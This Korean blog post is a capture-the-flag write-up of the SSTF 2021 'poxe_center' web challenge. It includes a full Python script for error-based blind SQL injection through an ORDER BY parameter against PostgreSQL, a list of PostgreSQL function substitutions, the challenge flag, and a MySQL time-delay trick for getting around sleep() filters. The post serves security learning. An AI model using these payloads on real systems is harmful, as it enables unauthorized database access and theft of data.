ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [Study] Hacker's Playground 2021(SSTF) poxe_center Writeup
    CTF/Hacker's Playground 2021(SSTF) 2021. 8. 23. 21:40

    이번 SSTF Hacker's Playground 2021 는 웹 문제 가뭄이었다.. 다른 WEB 태그가 달린 문제는 사실상 Pwn이었다. 

    이 문제는 유일하게 WEB 스러운(?) 문제였는데 문제가 늦게 나와서 업무시간과 겹치는 바람에 대회 기간내에는 집중해서 풀지 못했었다.

    그래서, 대회는 종료되었지만 이 문제를 풀어보았다.

    전설의 포켓몬을 잡으라는 문제인듯 하다. 주어진 페이지에 접속해보자.

    첫 페이지

    http://poxecenter.sstf.site:31888/demo/getGochaList?sortName=full_name&sortFlag=desc

    위와 같은 URL이 호출되면서 Gatcha list 라는 페이지가 안내된다. 

    파라미터 이름과 내용을 보니 ~~~ ORDER BY {sortName} {sortFlag} 형식의 sql 구문 같다는 추측이 가능했다.

    실제로, sortName에 11을 입력하면 페이지가 정상 출력되는데 반해,

    12를 입력하면 에러 페이지가 나타난다.

    구문이나 주석 등 테스트로 미루어봤을 때 Mysql이라고 생각했는데, 급한 마음에 Mysql이라고 가정해버린것이 패착이었던 것 같다.

    (if 구문, sleep() 등이 안되었을 때 다른 종류일것이라고는 생각하지 못했고 필터링이 걸려있는 줄 알았다..)

    sqlmap을 활용하여 해당 문제 환경이 Mysql이 아닌  PostgreSQL 임을 확인 할 수 있었다.

    the back-end. DBMS is PostgreSQL ..

    sqlmap을 활용해서 문제 해결을 이어나가볼까 했지만, 잘 되지 않아 직접 공격 쿼리를 작성해서 공격을 시도해보기로 했다.

    공격 방식은 Error based 로,

    select 1 from pg_user where ~~

    형식의 구문을 활용하기로 했다.

    1. select 1 from pg_user // Error!
    2. select 1 from pg_user limit 1 // Non-Error!

    해당 페이지의 두 구문을 테스트해봤을때 첫 번째 구문은 결과값이 여러개이기 때문에 에러가 발생하고, 두번째 구문은 에러가 나지 않는다.

    따라서 where 절에 원하는 조건문을 기입하고 유효 할 시에 첫 번째 구문이 실행되기 때문에 에러가 발생할 것이다.

    즉, "where 조건 만족 시 에러가 발생함" 을 활용한 Error based SQL Injection 공격을 시도해보자.

     

    문제 풀이 방식은 

    https://vardy.tistory.com/112

     

    [Clear] HSCTF 8 web/big-blind Writeup

    대회에서 되게 오랜만이었던 Sql-injection 문제였다. 문제 이름괴 주어진 페이지에 로그인 창이 있는 것으로 보아 blind sql injection 문제임을 유추 할 수 있다. 우선 DB의 종류를 파악해보자. 위 자료

    vardy.tistory.com

    와 비슷했다.

     

    다만, 환경이 PostgreSQL 이었으므로 활용되는 구문이 조금 달라진 정도였다.

    문제를 해결한 expoloit code는 아래와 같다.

    import requests, time, urllib3
    
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    
    string = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#$%()*+,-./:;<=>?@[\]^_`{|}~'
    #db_name =''
    table_list=[]
    column_list=[]
    data_list=[]
    for k in range(300) : ## edit plz
    	table_name=''
    	column_name=''
    	data=''
    	for i in range(50) : 
    		for j in string :
    			url = "http://poxecenter.sstf.site:31888/demo/getGochaList?sortName="
    			#db
    			##db_name = pokedb
    			#query = "(select 1 from pg_user where substr(current_database(),"+str(i+1)+",1)='"+j+"')&sortFlag="
    
    			#tables
    			#table_name = poke_info ?
    			#query = "(select 1 from pg_user where substr((select table_name from information_schema.tables limit 1 offset "+str(k)+"),"+str(i+1)+",1)='"+j+"')&sortFlag="
    
    			#column_name = name -> X / first_attribute -> X / second_attribute ?
    			#query = "(select 1 from pg_user where substr((select column_name from information_schema.columns where table_name='poke_info' limit 1 offset "+str(k)+"),"+str(i+1)+",1)='"+j+"')&sortFlag="
    
    			#data
    			#query = "(select 1 from pg_user where substr((select name from poke_info limit 1 offset "+str(k)+"),"+str(i+1)+",1)='"+j+"')&sortFlag="
    			query = "(select 1 from pg_user where substr((select distinct second_attribute from poke_info limit 1 offset "+str(k)+"),"+str(i+1)+",1)='"+j+"')&sortFlag=" 
    			url += query
    			#print(url)
    
    			try:
    				response = requests.get(url, verify=False, timeout=3)
    				if "500" in str(response) :
    					#print("hit!")
    					#print(url)
    					
    					#db
    					#db_name +=j
    					#print("* db name : "+db_name)
    
    					#table
    					#table_name+=j
    
    					#column
    					#column_name+=j
    
    					#data
    					data+=j
    
    					break
    
    				else :
    					#print(response)
    					pass
    
    			except requests.Timeout: 
    				print("time_error!")
    
    				break
    	#table_list.append(table_name)
    	#print(table_list)
    
    	#column_list.append(column_name)
    	#print(column_list)
    
    	#data_list.append(data)
    	#print(data)

    주석의 내용을 고쳐가면서

    DB 정보 -> table 정보 -> column 정보 -> 데이터(FLAG)

    순서로 정보를 획득해나가면 된다.

    postgreSQL 환경이었기 때문에 특수한 구문을 활용해야 하는 경우가 있었다.

    user -> pg_user 
    database() -> current_database()
    sleep() -> pg_sleep()
    length() -> char_length() 등등..

    postgreSQL 이 익숙하지는 않았지만 어렵게 얻을 수 있는 정보는 아니었기 때문에 구글링을 활용하면서 문제를 해결해 나갔다.

     

    문제 해결 과정을 살펴보면

    db 이름 획득
    table 목록 획득(문제 설명에 전설의 포켓몬에 대한 언급이 있었으므로 poke_info 활용)
    column 목록 획득
    name에 플래그가 있을것이라 생각했지만, 아니었고..
    second_attribute 에 플래그 정보가 있었다 ! (distinct 구문을 활용하여 중복 제거)

    FLAG = SCTF{G0tcH4_Gh0sT_c4t_iS_L3G3ND4Ry_P0k3}

     

    ----------------------------------------------------------------------------------------------------------------------

    ++ Mysql인줄 알고 삽질하다가 얻은 정보인데 추후에 쓰일 수도 있을 것 같아서 공유한다.

    time based 공격이 필수적일때 sleep(), benchmark() 가 필터링되어있다면

    (select count(*) from information_schema.columns A, information_schema.columns B)

    구문을 통해 시간 지연 가능

     

    https://jacksimon86.tistory.com/47?category=953645 

     

    sfw3 (time based SQL injection)

    sfw3번입니다. 이 문제를 처음 풀 때는 sleep, benchmark 함수가 필터링으로 막혀있길래 저는 당연히 에러 기반 sql injection 문제로 알고 삽질을 했습니다. 하지만 아무리 에러 기반으로 풀어도 별다른

    jacksimon86.tistory.com

     

    반응형

    댓글

Designed by Tistory.